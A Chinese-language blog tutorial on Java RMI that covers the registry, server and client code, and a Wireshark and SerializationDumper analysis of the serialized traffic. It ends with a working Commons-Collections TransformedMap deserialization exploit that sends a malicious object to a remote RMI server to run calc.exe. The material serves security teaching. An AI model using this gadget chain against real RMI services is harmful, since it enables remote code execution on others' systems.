4-java安全基础——RMI远程调用
1. RMI远程调用java RMI (Java Remote Method Invocation)即远程方法调用,是分布式编程中的一种编程思想,java jdk1.2就开始支持RMI,通过RMI可以实现一个虚拟机中的对象调用另一个虚拟机上中的对象的方法,并且这两个虚拟机可以跨主机,也可以跨网络。RMI解决的问题是实现和本地方法调用一样的远程方法调用,但是又屏蔽了远程调用的具体实现的细节,使得远程
目录
1. RMI远程调用
java RMI (Java Remote Method Invocation)即远程方法调用,是分布式编程中的一种编程思想,java jdk1.2就开始支持RMI,通过RMI可以实现一个虚拟机中的对象调用另一个虚拟机上中的对象的方法,并且这两个虚拟机可以跨主机,也可以跨网络。
RMI解决的问题是实现和本地方法调用一样的远程方法调用,但是又屏蔽了远程调用的具体实现的细节,使得远程方法调用看起来和本地方法调用一样。
2. RMI通信流程
来看一下RMI的实际通信过程(这图引用自先知社区,最后的参考资料中已经放上图的原出处链接)
JRMP( Java Remote Method Protocol)协议是RMI中用于查找和引用远程对象的协议,JRMP协议运行在TCP协议之上,也就是说RMI客户端与RMI服务端之间进行远程方法调用时需要遵守这个协议,(参考web服务中客户端与服务端之间通信的http协议)。
3. (RMI registry)RMI注册表
RMI主要由三部分构成:RMI服务端用于提供远程调用服务,RMI客户端使用远程调用服务,还有一个(RMI registry)RMI注册表。注册表(Registry )是RMI服务端所有远程调用对象的命名空间,RMI服务端每创建一个对象都会在进行注册绑定到RMI注册中心。
一般RMI客户端通过远程对象的标识符访问注册表,来得到远程对象的引用,RMI注册表相当于RMI服务端和RMI客户端之间远程对象调用的代理。这个标识符的格式如下:
rmi://host:port/name
标识符的格式类似http协议,host表示提供RMI远程调用的主机地址,port表示开放RMI服务的端口号,name很好理解,就是RMI服务具体名称。
举个例子,假设有一个RMI服务的标识符为rmi://10.100.0.1:10086/userRmiServices,这表示10.100.0.1主机在10086端口开放了一个名字为userRmiServices的RMI服务。然后RMI客户端就可以通过标识(rmi://10.100.0.1:10086/userRmiServices)来访问RMI服务端的userRmiServices服务。
4. RMI编程实现
RMI编程的相关API:
java.rmi:使用RMI远程方法调用所需要的类、接口和异常
java.rmi.server:提RMI服务端所需要的类、接口和异常
java.rmi.registry:提供注册表的创建以及查找和命名远程对象的类、接口和异常(RMI注册表)
创建RMI服务接口UserRmiServices
package com.test;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface UserRmiServices extends Remote {
public User getUserName() throws RemoteException;
public void TestObject(Object obj) throws RemoteException;
}
创建RMI服务接口需要注意的是:RMI强制要求RMI远程服务接口UserRmiServices 继承Remote接口,强制要求Remote的子接口抛出RemoteException异常
创建RMI远程服务对象类,实现UserRmiServices接口
package com.test;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserRmiServicesImpl extends UnicastRemoteObject implements UserRmiServices {
//抛出RemoteException异常
protected UserRmiServicesImpl() throws RemoteException {
super();
}
@Override
public User getUserName() throws RemoteException {
User user = new User(1, "zhangsan", 20);
return user;
}
@Override
public void TestObject(Object obj) throws RemoteException {
Object obj2 = obj;
}
}
RMI远程服务对象类必须注意以下几点:
- 必须继承UnicastRemoteObject类或者它的子类
- RMI强制要求所有方法必须抛出RemoteException异常,包括构造方法
为什么要继承UnicastRemoteObject类?因为RMI服务端要使用JRMP协议导出一个远程对象的引用,它并没有直接把远程对象复制一份传递给客户端,而是通过动态代理构建一个可以和远程对象交互的Stub对象,可以理解为Stu相当于远程对象的代理对象引用,那么就必须继承UnicastRemoteObject类,并且UnicastRemoteObject类强制要求抛出异常。
创建RMI服务端RmiServerTest
package com.test;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RmiServerTest {
public static void main(String[] args) throws Exception {
try {
//创建RMI服务对象
UserRmiServicesImpl userRmiServices = new UserRmiServicesImpl();
//注册RMI服务(RMI注册表)
LocateRegistry.createRegistry(10086);
//rebind表示重新绑定一个RMI服务,如果RMI服务重名,直接覆盖
//Naming.rebind("rmi://localhost:10086" , userRmiServices);
Naming.bind("rmi://localhost:10086/userRmiServices", userRmiServices);
System.out.println("RMI服务端启动完成......");
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
创建一个RMI服务对象,对客户端提供远程调用服务并注册到RMI注册表,也要抛出异常。
创建RMI客户端RmiClientTest
package com.test;
import java.rmi.Naming;
public class RmiClientTest {
public static void main(String[] args) throws Exception {
//创建代理对象
UserRmiServices userRmiServices = null;
//使用lookup方法查找RMI服务,并自动创建代理对象
userRmiServices = (UserRmiServices) Naming.lookup("rmi://localhost:10086/userRmiServices");
//远程调用代理对象的方法
//user对象接收RMI服务端返回的结果
User user = userRmiServices.getUserName();
System.out.println(user.toString());
}
}
先启动RMI服务端,再启动RMI客户端,程序执行结果:
RMI客户端userRmiServices.getUserName()的操作相当于向RMI服务端发送了一个远程调用代理对象userRmiServices的getUserName方法的请求,然后RMI服务端接收到这个请求就会调用RMI服务,也就是执行本地userRmiServices对象的getUserName方法,然后RMI服务端将方法执行结果再传回给客户端。
RMI客户端的远程方法调用操作实际上是让RMI服务端调用本地对象的方法并将执行结果返回给RMI客户端。但是这些细节都被底层帮我们屏蔽了,使得RMI远程方法调用和调用本地类的方法效果一样,这点要注意区分。
另外客户端与服务端之间进行RMI远程方法调用时会涉及到远程方法的参数传递和远程方法的返回值,无论是传输还是返回值可以是基本数据类型,也有可能是对象的引用,所以这些需要被传输的对象必须实现 java.io.Serializable 序列化接口,并且客户端的suid字段要与服务器端保持一致。
通常来说,RMI远程方法调用过程中参数传递和返回结果主要为以下类型:
- 简单类型:按值传递,直接传递数据拷贝
- 远程对象引用类型:如果实现了Remote接口以远程对象的引用传递,如果未实现Remote接口,按值传递,通过序列化对象传递副本,该对象必须实现序列化才能进行远程方法调用
例如上面的RMI示例程序中,RMI客户端接收的user对象就是一个远程对象引用类型,并且该接口实现了Serializable可序列化接口,但未实现Remote接口,因此RMI服务端会拷贝该对象的副本进行序列化,传回给RMI客户端。
5. RMI通信流程分析
RMI通信底层用到了tcp协议,既然是网络通信,必然会涉及数据传输格式问题,一般网络通信中传输的数据通常都是以字节流的形式,因此java对象会先序列化成字节流数据在网络中传输。当客户端的RMI远程方法调用时传递的参数是一个java对象类型时,那么服务器端在接收时会进行反序列化恢复成java对象。
JRMP协议底层还是使用的TCP协议进行网络通信,我们可以通过wireshark工具分析客户端和服务端的RMI通信过程,如下所示:
如上图所示,RMI通信过程总共分为两部分:
第一,二部分为RMI客户端与RMI注册中心通信,端口为10086
第三,四部分为RMI客户端与RMI服务端之间通信,端口为31919
第1部分表示RMI客户端与RMI注册中心建立tcp连接,第2部分表示它们正式通信的内容,我们直接分析这一部分内容:
RMI客户端向RMI注册中心发送一个frame 405数据包,在该数据包的Data部分可以看到50是指RMI call,ac ed表示序列化数据格式中的魔数(表示这是一段序列化数据),右键 as a Hex Stream复制这一串数据,通过SerializationDumper.jar工具对序列化数据解析。
从解析的结果来看,RMI客户端向RMI注册中心获取了一个userRmiServices对象
接着来看frame 407,RMI注册中心并没有直接把userRmiServices对象返回给RMI客户端,使用动态代理创建了一个userRmiServices的代理对象,并这个代理对象返回给RMI客户端
frame 425为RMI服务端返回给RMI客户端的远程方法调用的执行结果,其实就是把序列化的user对象返回给RMI客户端。
解析user对象的序列化数据,我们可以看到user对象的成员属性内容
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 15 - 0x0f
Contents - 0x01adcf1a7a0000017a94d0e0668014
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 13 - 0x00 0d
Value - com.test.User - 0x636f6d2e746573742e55736572
serialVersionUID - 0x51 f1 a2 80 f3 86 0c fd
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 3 - 0x00 03
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Int - I - 0x49
fieldName
Length - 2 - 0x00 02
Value - id - 0x6964
2:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
classdata
com.test.User
values
age
(int)20 - 0x00 00 00 14
id
(int)1 - 0x00 00 00 01
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 8 - 0x00 08
Value - zhangsan - 0x7a68616e6773616e
6. 利用RMI实现反序列化漏洞
从RMI通信流程流量分析的过程中可以知道,RMI通信过程使用了序列化与反序列化机制,如果RMI服务端中存在反序列化漏洞的组件或框架,就可以对RMI服务端进行反序列化漏洞利用。
在真实环境的漏洞利用过程中,RMI服务端代码我们是接触不到的,但是RMI客户端向RMI服务端发送序列化数据是可控的,那么可以在RMI客户端进行RMI远程方法调用时构造恶意的序列化对象,当RMI服务端在接收并反序列化该恶意对象时就会触发漏洞,本次漏洞利用代码为apache commons-collections组件反序列化漏洞的transformedMap类利用链。
RMI客户端漏洞利用代码如下:
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class RmiClientTest {
public static void main(String[] args) throws Exception {
//创建代理对象
UserRmiServices userRmiServices = null;
//使用lookup方法连接到RMI注册表查找RMI服务,并自动创建代理对象
userRmiServices = (UserRmiServices) Naming.lookup("rmi://192.168.0.220:10086/userRmiServices");
//构造恶意对象(漏洞利用代码)
Object obj = getObject();
//RMI远程调用触发漏洞
userRmiServices.TestObject(obj);
}
public static Object getObject() throws Exception {
//核心利用代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将数组transformers传给ChainedTransformer,构造利用链
Transformer transformerChain = new ChainedTransformer(transformers);
//触发漏洞
Map map = new HashMap();
map.put("value", "test");
//通过反射触发利用链
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获得AnnotationInvocationHandler的构造器
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
//将transformedMap传给AnnotationInvocationHandler的构造
Object instance=ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
先启动RMI服务端(win7),再启动RMI客户端(win10)触发漏洞,然后查看RMI服务端效果,如下所示:
当RMI服务端接收恶意对象进行反序列化过程中就会触发漏洞,具体漏洞原理和利用过程可参考:6-Web安全——java反序列化漏洞利用链
参考资料:
https://blog.csdn.net/lmy86263/article/details/72594760
更多推荐
所有评论(0)